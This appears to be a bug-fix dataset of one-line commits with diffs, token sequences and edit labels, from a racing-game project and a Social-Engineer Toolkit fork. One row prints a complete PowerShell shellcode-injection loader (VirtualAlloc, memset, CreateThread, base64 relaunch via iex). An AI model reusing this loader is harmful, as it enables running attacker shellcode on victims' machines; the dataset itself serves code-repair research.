[ { "sha": "14526d9f91ac8320cb360de9ff5cab34b612a5d0", "filename": "server/game.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/sleviim/ROSE/blob/e1565d0515051cf137af3cf4f7e6af26e7747524/server%2Fgame.py", "raw_url": "https://github.com/sleviim/ROSE/raw/e1565d0515051cf137af3cf4f7e6af26e7747524/server%2Fgame.py", "contents_url": "https://api.github.com/repos/sleviim/ROSE/contents/server%2Fgame.py?ref=e1565d0515051cf137af3cf4f7e6af26e7747524", "patch": "@@ -109,5 +109,5 @@ def process_actions(self):\n \n # Set player speed\n \n- speed = config.HEIGHT / 2 + player.life - config.MAX_LIVES\n+ speed = config.HEIGHT / 2 - player.life + config.MAX_LIVES\n player.speed = min(config.HEIGHT - 1, max(0, speed))" } ]
ROSE
40dae265c36c0730998b96062ece8a7c9e372c9b
1fd5d59153f1a5c04004465bf832d7deb57d6ec3
rtp/server/game.py
https://github.com/sleviim/ROSE
true
false
true
@@ -63,7 +63,7 @@ class Game(object): if name not in self.players: raise error.NoSuchPlayer(name) player = self.players.pop(name) - self.free_cars.add(player.lane) + self.free_cars.add(player.car) print 'remove player:', name, 'car:', player.car def drive_player(self, name, info):
self . free_cars . add ( player . lane )
self . free_cars . add ( player . car )
CHANGE_ATTRIBUTE_USED
[["Update", ["identifier:lane", 3, 35, 3, 39], "car"]]
sleviim/ROSE@40dae265c36c0730998b96062ece8a7c9e372c9b
Fix bug when removing player When player is removed, the wrong car number was added to the free car list, causing failure to add new player later. This bug was hidden until we stopped restaring the server for each game.
[ { "sha": "47d5993e23dcbb6decdf0605007e175fff1a990c", "filename": "rtp/server/game.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/sleviim/ROSE/blob/40dae265c36c0730998b96062ece8a7c9e372c9b/rtp%2Fserver%2Fgame.py", "raw_url": "https://github.com/sleviim/ROSE/raw/40dae265c36c0730998b96062ece8a7c9e372c9b/rtp%2Fserver%2Fgame.py", "contents_url": "https://api.github.com/repos/sleviim/ROSE/contents/rtp%2Fserver%2Fgame.py?ref=40dae265c36c0730998b96062ece8a7c9e372c9b", "patch": "@@ -63,7 +63,7 @@ def remove_player(self, name):\n if name not in self.players:\n raise error.NoSuchPlayer(name)\n player = self.players.pop(name)\n- self.free_cars.add(player.lane)\n+ self.free_cars.add(player.car)\n print 'remove player:', name, 'car:', player.car\n \n def drive_player(self, name, info):" } ]
ROSE
215932392e582dabef4acc0ed0c9d81821962f64
ddecdc75304625316898cda952434addaa089f68
rtp/client/dashboard.py
https://github.com/sleviim/ROSE
true
false
true
@@ -26,7 +26,7 @@ class Dashboard(component.Component): position_score_x = 85 for name, score in self.players.iteritems(): player_name = player_font.render(name, 1, (153, 153, 153)) - player_score = score_font.render(score, 1, (153, 153, 153)) + player_score = score_font.render(str(score), 1, (153, 153, 153)) surface.blit(player_name, (position_x, config.player_name_pos )) surface.blit(player_score, (position_score_x, config.player_score_pos )) position_x += 550
player_score = score_font . render ( score , 1 , ( 153 , 153 , 153 ) )
player_score = score_font . render ( str ( score ) , 1 , ( 153 , 153 , 153 ) )
ADD_FUNCTION_AROUND_EXPRESSION
[["Insert", ["argument_list", 3, 45, 3, 72], ["call", "N0"], 1], ["Insert", "N0", ["identifier:str", "T"], 0], ["Insert", "N0", ["argument_list", "N1"], 1], ["Insert", "N1", ["(:(", "T"], 0], ["Move", "N1", ["identifier:score", 3, 46, 3, 51], 1], ["Insert", "N1", ["):)", "T"], 2]]
sleviim/ROSE@215932392e582dabef4acc0ed0c9d81821962f64
Fix score rendering
[ { "sha": "cc1baecce3d0776598ec0b64fcc2e1101781b859", "filename": "rtp/client/dashboard.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/sleviim/ROSE/blob/215932392e582dabef4acc0ed0c9d81821962f64/rtp%2Fclient%2Fdashboard.py", "raw_url": "https://github.com/sleviim/ROSE/raw/215932392e582dabef4acc0ed0c9d81821962f64/rtp%2Fclient%2Fdashboard.py", "contents_url": "https://api.github.com/repos/sleviim/ROSE/contents/rtp%2Fclient%2Fdashboard.py?ref=215932392e582dabef4acc0ed0c9d81821962f64", "patch": "@@ -26,7 +26,7 @@ def draw(self, surface):\n position_score_x = 85\n for name, score in self.players.iteritems():\n player_name = player_font.render(name, 1, (153, 153, 153))\n- player_score = score_font.render(score, 1, (153, 153, 153))\n+ player_score = score_font.render(str(score), 1, (153, 153, 153))\n surface.blit(player_name, (position_x, config.player_name_pos ))\n surface.blit(player_score, (position_score_x, config.player_score_pos ))\n position_x += 550" } ]
ROSE
ac2a021de56ed3d0ff2d3fb4780278bc6f90cc1b
c315481b4153bd35b244edc216f1133338e0a163
rtp/server/game.py
https://github.com/sleviim/ROSE
true
false
true
@@ -131,7 +131,7 @@ class Game(object): if player.position.x > 0: player.position.x -= 1 elif player.action == actions.RIGHT: - if player.position.x < config.max_players - 1: + if player.position.x < config.matrix_width - 1: player.position.x += 1 # Now check if player hit any obstacle
if player . position . x < config . max_players - 1 : player . position . x += 1
if player . position . x < config . matrix_width - 1 : player . position . x += 1
CHANGE_ATTRIBUTE_USED
[["Update", ["identifier:max_players", 3, 47, 3, 58], "matrix_width"]]
sleviim/ROSE@ac2a021de56ed3d0ff2d3fb4780278bc6f90cc1b
Fix player movments limits We used to assume that there is one cell per player, so the check for moving right was limiting the movment to cells 0-2, instead of 0-5.
[ { "sha": "de2277c5cdba2059b87ccbb40ec8ad253bd6d9af", "filename": "rtp/server/game.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/sleviim/ROSE/blob/ac2a021de56ed3d0ff2d3fb4780278bc6f90cc1b/rtp%2Fserver%2Fgame.py", "raw_url": "https://github.com/sleviim/ROSE/raw/ac2a021de56ed3d0ff2d3fb4780278bc6f90cc1b/rtp%2Fserver%2Fgame.py", "contents_url": "https://api.github.com/repos/sleviim/ROSE/contents/rtp%2Fserver%2Fgame.py?ref=ac2a021de56ed3d0ff2d3fb4780278bc6f90cc1b", "patch": "@@ -131,7 +131,7 @@ def process_actions(self):\n if player.position.x > 0:\n player.position.x -= 1\n elif player.action == actions.RIGHT:\n- if player.position.x < config.max_players - 1:\n+ if player.position.x < config.matrix_width - 1:\n player.position.x += 1\n \n # Now check if player hit any obstacle" } ]
ROSE
dcfe41ba18de67e2ba8898459e1f02d8af80c511
565358f64ffce557303c928d42e9d0298ba8ffaa
rtp/client/car.py
https://github.com/sleviim/ROSE
true
false
true
@@ -22,7 +22,7 @@ class Car(component.Component): def draw(self, surface): x = config.left_margin + self.position.x * config.cell_width - y = self.position.y * config.row_height + y = config.dashboard_height + self.position.y * config.row_height x += random.randrange(config.car_jitter) - config.car_jitter/2 y += random.randrange(config.car_jitter) - config.car_jitter/2 surface.blit(self.texture, (x, y))
y = self . position . y * config . row_height
y = config . dashboard_height + self . position . y * config . row_height
SINGLE_STMT
[["Insert", ["binary_operator", 3, 13, 3, 48], ["attribute", "N0"], 0], ["Insert", ["binary_operator", 3, 13, 3, 48], ["+:+", "T"], 1], ["Move", ["binary_operator", 3, 13, 3, 48], ["binary_operator", 3, 13, 3, 48], 2], ["Insert", "N0", ["identifier:config", "T"], 0], ["Insert", "N0", [".:.", "T"], 1], ["Insert", "N0", ["identifier:dashboard_height", "T"], 2]]
sleviim/ROSE@dcfe41ba18de67e2ba8898459e1f02d8af80c511
Fix car location after dashboard addition Car was not considering the dashboard height, rendering the car in the wrong place, making debugging impossible.
[ { "sha": "9d6427a52dc2cd7e6b1526bd75707e97a906f2e6", "filename": "rtp/client/car.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/sleviim/ROSE/blob/dcfe41ba18de67e2ba8898459e1f02d8af80c511/rtp%2Fclient%2Fcar.py", "raw_url": "https://github.com/sleviim/ROSE/raw/dcfe41ba18de67e2ba8898459e1f02d8af80c511/rtp%2Fclient%2Fcar.py", "contents_url": "https://api.github.com/repos/sleviim/ROSE/contents/rtp%2Fclient%2Fcar.py?ref=dcfe41ba18de67e2ba8898459e1f02d8af80c511", "patch": "@@ -22,7 +22,7 @@ def update(self, info):\n \n def draw(self, surface):\n x = config.left_margin + self.position.x * config.cell_width\n- y = self.position.y * config.row_height\n+ y = config.dashboard_height + self.position.y * config.row_height\n x += random.randrange(config.car_jitter) - config.car_jitter/2\n y += random.randrange(config.car_jitter) - config.car_jitter/2\n surface.blit(self.texture, (x, y))" } ]
SETOOLKIT
b99b71beb07b8171721656d2137de5aa17822f78
1be51e93b11b8c5a0aa7d1cd19cbaed47308b6ae
src/core/setcore.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -461,7 +461,7 @@ def update_set(): # if we aren't running Kali :( else: - peinr_info("Kali-Linux not detected, manually updating..") + print_info("Kali-Linux not detected, manually updating..") print_info("Updating the Social-Engineer Toolkit, be patient...") print_info("Performing cleanup first...") subprocess.Popen("git clean -fd", shell=True).wait()
else : peinr_info ( "Kali-Linux not detected, manually updating.." )
else : print_info ( "Kali-Linux not detected, manually updating.." )
WRONG_FUNCTION_NAME
[["Update", ["identifier:peinr_info", 3, 9, 3, 19], "print_info"]]
warecrer/SETOOLKIT@b99b71beb07b8171721656d2137de5aa17822f78
Fixed print_info [!] Something went wrong, printing the error: global name 'peinr_info' is not defined
[ { "sha": "22ae1a8443f244e164b7e595ec83532f4dbb85a9", "filename": "src/core/setcore.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/b99b71beb07b8171721656d2137de5aa17822f78/src%2Fcore%2Fsetcore.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/b99b71beb07b8171721656d2137de5aa17822f78/src%2Fcore%2Fsetcore.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fcore%2Fsetcore.py?ref=b99b71beb07b8171721656d2137de5aa17822f78", "patch": "@@ -461,7 +461,7 @@ def update_set():\n \n # if we aren't running Kali :( \n else:\n- peinr_info(\"Kali-Linux not detected, manually updating..\")\n+ print_info(\"Kali-Linux not detected, manually updating..\")\n print_info(\"Updating the Social-Engineer Toolkit, be patient...\")\n print_info(\"Performing cleanup first...\")\n subprocess.Popen(\"git clean -fd\", shell=True).wait()" } ]
SETOOLKIT
61bb946c525ac6ce0f01690eea3910ffd1bbd391
0f6acd6437e3a3ccd22e5c5ba3234ecc25f7ae31
src/webattack/multi_attack/multiattack.py
https://github.com/warecrer/SETOOLKIT
true
false
false
@@ -109,7 +109,7 @@ while a==1: print "\n 99. Return to Main Menu\n" - profile=raw_input(setprompt(["2","16"], "Enter selections one at a time (8 to finish)")) + profile=raw_input(setprompt(["2","16"], "Enter selections one at a time (7 to finish)")) if profile == "": profile = "7" # if the option is something other than 1-7 flag invalid option
profile = raw_input ( setprompt ( [ "2" , "16" ] , "Enter selections one at a time (8 to finish)" ) )
profile = raw_input ( setprompt ( [ "2" , "16" ] , "Enter selections one at a time (7 to finish)" ) )
CHANGE_STRING_LITERAL
[["Update", ["string:\"Enter selections one at a time (8 to finish)\"", 3, 45, 3, 91], "\"Enter selections one at a time (7 to finish)\""]]
warecrer/SETOOLKIT@61bb946c525ac6ce0f01690eea3910ffd1bbd391
Fixed number typo for using multiattack
[ { "sha": "131b4fabd0910322a27edd416701d8c72b66159b", "filename": "src/webattack/multi_attack/multiattack.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/61bb946c525ac6ce0f01690eea3910ffd1bbd391/src%2Fwebattack%2Fmulti_attack%2Fmultiattack.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/61bb946c525ac6ce0f01690eea3910ffd1bbd391/src%2Fwebattack%2Fmulti_attack%2Fmultiattack.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fwebattack%2Fmulti_attack%2Fmultiattack.py?ref=61bb946c525ac6ce0f01690eea3910ffd1bbd391", "patch": "@@ -109,7 +109,7 @@ def write_file(filename,results):\n print \"\\n 99. Return to Main Menu\\n\"\n \n \n- profile=raw_input(setprompt([\"2\",\"16\"], \"Enter selections one at a time (8 to finish)\"))\n+ profile=raw_input(setprompt([\"2\",\"16\"], \"Enter selections one at a time (7 to finish)\"))\n \n if profile == \"\": profile = \"7\"\n # if the option is something other than 1-7 flag invalid option" } ]
SETOOLKIT
97beddd97423fd0a9eabe88571f9f18b3e0472c3
ddb089e0b7d3b40388c58400258f7c0a7ec60c86
src/payloads/set_payloads/shell.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -347,7 +347,7 @@ def RebootServer(message='Rebooting', timeout=0, bForce=0, bReboot=1): def AbortReboot(): AdjustPrivilege(SE_SHUTDOWN_NAME) try: - win32api.AbortSystemShotdown(None) + win32api.AbortSystemShutdown(None) finally: AdjustPrivilege(SE_SHUTDOWN_NAME, 0)
win32api . AbortSystemShotdown ( None )
win32api . AbortSystemShutdown ( None )
WRONG_FUNCTION_NAME
[["Update", ["identifier:AbortSystemShotdown", 3, 18, 3, 37], "AbortSystemShutdown"]]
warecrer/SETOOLKIT@97beddd97423fd0a9eabe88571f9f18b3e0472c3
Fixed typo
[ { "sha": "1207c9955a8d75bab99339ec49e6012e664aa2fb", "filename": "src/payloads/set_payloads/shell.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/97beddd97423fd0a9eabe88571f9f18b3e0472c3/src%2Fpayloads%2Fset_payloads%2Fshell.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/97beddd97423fd0a9eabe88571f9f18b3e0472c3/src%2Fpayloads%2Fset_payloads%2Fshell.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fpayloads%2Fset_payloads%2Fshell.py?ref=97beddd97423fd0a9eabe88571f9f18b3e0472c3", "patch": "@@ -347,7 +347,7 @@ def RebootServer(message='Rebooting', timeout=0, bForce=0, bReboot=1):\n def AbortReboot():\n AdjustPrivilege(SE_SHUTDOWN_NAME)\n try:\n- win32api.AbortSystemShotdown(None)\n+ win32api.AbortSystemShutdown(None)\n finally:\n AdjustPrivilege(SE_SHUTDOWN_NAME, 0)\n " } ]
SETOOLKIT
31cb2ee79a22be650c6cbb8c35c437be415d8939
bca311a99012347d4a5751cfdb6c1933485b65c0
src/core/setcore.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -310,7 +310,7 @@ def meta_path(): # specific for pentesters framework github.com/trustedsec/ptf if os.path.isfile("/pentest/exploitation/metasploit/msfconsole"): - msf_path = "/pentest/exploitation/metasploit/msfconsole" + msf_path = "/pentest/exploitation/metasploit/" trigger = 1 if os.path.isfile("/usr/bin/msfconsole"):
msf_path = "/pentest/exploitation/metasploit/msfconsole"
msf_path = "/pentest/exploitation/metasploit/"
CHANGE_STRING_LITERAL
[["Update", ["string:\"/pentest/exploitation/metasploit/msfconsole\"", 3, 15, 3, 60], "\"/pentest/exploitation/metasploit/\""]]
warecrer/SETOOLKIT@31cb2ee79a22be650c6cbb8c35c437be415d8939
quick fix
[ { "sha": "465bcbc2cddb0ea62837089c7efb1158d0460996", "filename": "src/core/setcore.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/31cb2ee79a22be650c6cbb8c35c437be415d8939/src%2Fcore%2Fsetcore.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/31cb2ee79a22be650c6cbb8c35c437be415d8939/src%2Fcore%2Fsetcore.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fcore%2Fsetcore.py?ref=31cb2ee79a22be650c6cbb8c35c437be415d8939", "patch": "@@ -310,7 +310,7 @@ def meta_path():\n \n \t\t# specific for pentesters framework github.com/trustedsec/ptf\n \t\tif os.path.isfile(\"/pentest/exploitation/metasploit/msfconsole\"):\n-\t\t\tmsf_path = \"/pentest/exploitation/metasploit/msfconsole\"\n+\t\t\tmsf_path = \"/pentest/exploitation/metasploit/\"\n \t\t\ttrigger = 1\n \n \t\tif os.path.isfile(\"/usr/bin/msfconsole\"):" } ]
SETOOLKIT
84ab3cf42de68686f06283a652c2e4e0aca59250
2ebfbeeae5fff5cdf505a16753cb29c897552dc6
src/teensy/teensy.py
https://github.com/warecrer/SETOOLKIT
true
false
false
@@ -27,7 +27,7 @@ definepath=os.getcwd() # define if use apache or not apache=0 # open set_config here -apache_check=file("%s/config/set_config" % (definepath),"r").readlines() +apache_check=file("/etc/setoolkit/set.config", "r").readlines() # loop this guy to search for the APACHE_SERVER config variable for line in apache_check: # strip \r\n
apache_check = file ( "%s/config/set_config" % ( definepath ) , "r" ) . readlines ( )
apache_check = file ( "/etc/setoolkit/set.config" , "r" ) . readlines ( )
SINGLE_STMT
[["Update", ["string:\"%s/config/set_config\"", 3, 19, 3, 41], "\"/etc/setoolkit/set.config\""], ["Move", ["argument_list", 3, 18, 3, 61], ["string:\"%s/config/set_config\"", 3, 19, 3, 41], 1], ["Move", ["argument_list", 3, 18, 3, 61], ["):)", 3, 55, 3, 56], 5], ["Delete", ["%:%", 3, 42, 3, 43]], ["Delete", ["(:(", 3, 44, 3, 45]], ["Delete", ["identifier:definepath", 3, 45, 3, 55]], ["Delete", ["parenthesized_expression", 3, 44, 3, 56]], ["Delete", ["binary_operator", 3, 19, 3, 56]], ["Delete", ["):)", 3, 60, 3, 61]]]
warecrer/SETOOLKIT@84ab3cf42de68686f06283a652c2e4e0aca59250
Fix bug for teensy config not being found
[ { "sha": "2ea5b054a47293a0ed839ac3b7f0f4714a619f10", "filename": "src/teensy/teensy.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/84ab3cf42de68686f06283a652c2e4e0aca59250/src%2Fteensy%2Fteensy.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/84ab3cf42de68686f06283a652c2e4e0aca59250/src%2Fteensy%2Fteensy.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fteensy%2Fteensy.py?ref=84ab3cf42de68686f06283a652c2e4e0aca59250", "patch": "@@ -27,7 +27,7 @@\n # define if use apache or not\n apache=0\n # open set_config here\n-apache_check=file(\"%s/config/set_config\" % (definepath),\"r\").readlines()\n+apache_check=file(\"/etc/setoolkit/set.config\", \"r\").readlines()\n # loop this guy to search for the APACHE_SERVER config variable\n for line in apache_check:\n # strip \\r\\n" } ]
SETOOLKIT
69376c22714321b41cb32cd2c0a3c6d4af9bbfc3
4867a01859090476dbe7dc7da7a3a01c1cbb651f
src/html/web_start.py
https://github.com/warecrer/SETOOLKIT
true
false
false
@@ -6,6 +6,6 @@ me = mod_name() debug_msg(me, "importing 'src.html.spawn'", 1) sys.path.append("src/html") try: - moduel_reload(spawn) + module_reload(spawn) except: pass
moduel_reload ( spawn )
module_reload ( spawn )
WRONG_FUNCTION_NAME
[["Update", ["identifier:moduel_reload", 3, 5, 3, 18], "module_reload"]]
warecrer/SETOOLKIT@69376c22714321b41cb32cd2c0a3c6d4af9bbfc3
fix typoe
[ { "sha": "a7f5376a24ef081300a36bb4eda50c91197b87c5", "filename": "src/html/web_start.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/69376c22714321b41cb32cd2c0a3c6d4af9bbfc3/src%2Fhtml%2Fweb_start.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/69376c22714321b41cb32cd2c0a3c6d4af9bbfc3/src%2Fhtml%2Fweb_start.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fhtml%2Fweb_start.py?ref=69376c22714321b41cb32cd2c0a3c6d4af9bbfc3", "patch": "@@ -6,6 +6,6 @@\n debug_msg(me, \"importing 'src.html.spawn'\", 1)\n sys.path.append(\"src/html\")\n try:\n- moduel_reload(spawn)\n+ module_reload(spawn)\n except:\n pass" } ]
SETOOLKIT
d23f70d72c7fcdec93ee94cb35b45f94a36ea5fb
603da5163a17d0425c69f09ce397a94b1fb15ba8
src/core/set.py
https://github.com/warecrer/SETOOLKIT
true
false
false
@@ -657,7 +657,7 @@ try: if choice3 == '3': sys.path.append( - defineapth + "/src/webattack/web_clone/") + definepath + "/src/webattack/web_clone/") if os.path.isfile(setdir + "/site.template"): os.remove(setdir + "/site.template") filewrite = open(setdir + "/site.template", "w")
sys . path . append ( defineapth + "/src/webattack/web_clone/" )
sys . path . append ( definepath + "/src/webattack/web_clone/" )
CHANGE_BINARY_OPERAND
[["Update", ["identifier:defineapth", 3, 29, 3, 39], "definepath"]]
warecrer/SETOOLKIT@d23f70d72c7fcdec93ee94cb35b45f94a36ea5fb
fix typo
[ { "sha": "a8bffa8ddf80ae46f1bcedf2bd15e81d556a08c2", "filename": "src/core/set.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/d23f70d72c7fcdec93ee94cb35b45f94a36ea5fb/src%2Fcore%2Fset.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/d23f70d72c7fcdec93ee94cb35b45f94a36ea5fb/src%2Fcore%2Fset.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fcore%2Fset.py?ref=d23f70d72c7fcdec93ee94cb35b45f94a36ea5fb", "patch": "@@ -657,7 +657,7 @@\n if choice3 == '3':\n \n sys.path.append(\n- defineapth + \"/src/webattack/web_clone/\")\n+ definepath + \"/src/webattack/web_clone/\")\n if os.path.isfile(setdir + \"/site.template\"):\n os.remove(setdir + \"/site.template\")\n filewrite = open(setdir + \"/site.template\", \"w\")" } ]
SETOOLKIT
67e0ff035f196b815b237d3ebfcbd8ffee52133a
0718f45500d65b38a1ab573918ba0255bc754088
src/core/setcore.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -1413,7 +1413,7 @@ def generate_powershell_alphanumeric_payload(payload, ipaddr, port, payload2): r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % (shellcode)) # unicode and base64 encode and return it - return base64.b64encode(powershell_command.encode('utf_16_le')) + return base64.b64encode(powershell_command.encode('utf_16_le')).decode("ascii") # generate base shellcode def generate_shellcode(payload, ipaddr, port):
r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % ( shellcode ) ) return base64 . b64encode ( powershell_command . encode ( 'utf_16_le' ) )
r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % ( shellcode ) ) return base64 . b64encode ( powershell_command . encode ( 'utf_16_le' ) ) . decode ( "ascii" )
ADD_METHOD_CALL
[["Insert", ["call", 3, 12, 3, 68], ["attribute", "N0"], 0], ["Insert", ["call", 3, 12, 3, 68], ["argument_list", "N1"], 1], ["Move", "N0", ["call", 3, 12, 3, 68], 0], ["Insert", "N0", [".:.", "T"], 1], ["Insert", "N0", ["identifier:decode", "T"], 2], ["Insert", "N1", ["(:(", "T"], 0], ["Insert", "N1", ["string:\"ascii\"", "T"], 1], ["Insert", "N1", ["):)", "T"], 2]]
warecrer/SETOOLKIT@67e0ff035f196b815b237d3ebfcbd8ffee52133a
fix return byte instead of string on generate alphanumeric shellcode
[ { "sha": "371d737a6c135a4539fee9bae49a077b640faaf7", "filename": "src/core/setcore.py", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/warecrer/SETOOLKIT/blob/67e0ff035f196b815b237d3ebfcbd8ffee52133a/src%2Fcore%2Fsetcore.py", "raw_url": "https://github.com/warecrer/SETOOLKIT/raw/67e0ff035f196b815b237d3ebfcbd8ffee52133a/src%2Fcore%2Fsetcore.py", "contents_url": "https://api.github.com/repos/warecrer/SETOOLKIT/contents/src%2Fcore%2Fsetcore.py?ref=67e0ff035f196b815b237d3ebfcbd8ffee52133a", "patch": "@@ -1413,7 +1413,7 @@ def generate_powershell_alphanumeric_payload(payload, ipaddr, port, payload2):\n r\"\"\"$1 = '$c = ''[DllImport(\"kernel32.dll\")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\"kernel32.dll\")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\"msvcrt.dll\")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name \"Win32\" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = \"-enc \";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + \"\\syswow64\\WindowsPowerShell\\v1.0\\powershell\";iex \"& $3 $2 $e\"}else{;iex \"& powershell $2 $e\";}\"\"\" % (shellcode))\n \n # unicode and base64 encode and return it\n- return base64.b64encode(powershell_command.encode('utf_16_le'))\n+ return base64.b64encode(powershell_command.encode('utf_16_le')).decode(\"ascii\")\n \n # generate base shellcode\n def generate_shellcode(payload, ipaddr, port):" } ]
SETOOLKIT
acd1868b759552b42f8a069120fdd8b2f4c14e81
6f13ba930d092575e6f6091bf9879a44ef7ff18d
src/payloads/set_payloads/listener.py
https://github.com/warecrer/SETOOLKIT
true
false
true
@@ -71,7 +71,7 @@ def start_listener(): # if null then default to port 443 print("[*] Defaulting to port 443 for the listener.") PORT = 443 - update_config("PORT=443") + update_options("PORT=443") try: # make the port an integer
update_config ( "PORT=443" )
update_options ( "PORT=443" )
WRONG_FUNCTION_NAME
[["Update", ["identifier:update_config", 3, 17, 3, 30], "update_options"]]
warecrer/SETOOLKIT@acd1868b759552b42f8a069120fdd8b2f4c14e81
fix update_config to update_options in set listener payload
